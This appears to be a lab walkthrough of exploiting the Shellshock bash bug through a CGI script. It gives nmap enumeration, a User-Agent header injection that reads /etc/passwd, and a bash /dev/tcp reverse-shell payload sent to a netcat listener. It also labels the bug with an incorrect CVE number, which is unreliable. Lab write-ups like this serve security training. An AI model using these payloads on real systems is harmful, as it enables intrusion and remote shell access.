🔬 Shellshock

• Target IP: 192.173.104.3

• Bash Exploitation - CVE-2014-6071

Enumeration

eth1@if54460  UP  192.173.104.2/24 
# target IP is 192.173.104.3

nmap -sV 192.173.104.3

80/tcp open  http    Apache httpd 2.4.6 ((Unix))

nmap

• Check the website via a browser:

  • http://192.173.104.3/

• View Page Source

  • http://192.173.104.3/gettime.cgi

  • gettime.cgi script can be utilized as the attack vector

• Check if the server is vulnerable to ShellShock

nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" 192.173.104.3

nmap http-shellshock

Manual Exploitation

• Shellshock exploitable environment

• To inject special characters into the user-agent HTTP header, BurpSuite can be used.

  • Configure FoxyProxy on Firefox, click on Burp Suite in FoxyProxy and run Burp Suite

  • Inside Proxy menu, turn Intercept On

• Reload the /gettime.cgi webpage in Firefox and intercept the response in BurpSuite

• Send the request to the Repeater

• Replace User-Agent: value with characters:

() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

• Send the request and check the Response

📌 The target is vulnerable to ShellShock

Reverse Shell

• Set up a listener

nc -nvlp 1234

• Open Burp Suite and change the command to connect to the netcat listener of the Kali VM. The payload will be:

() { :; }; echo; echo; /bin/bash -c 'bash -i >&/dev/tcp/192.173.104.2/1234 0>&1'

Reverse shell

• Turn off burpsuite listener and FoxyProxy.
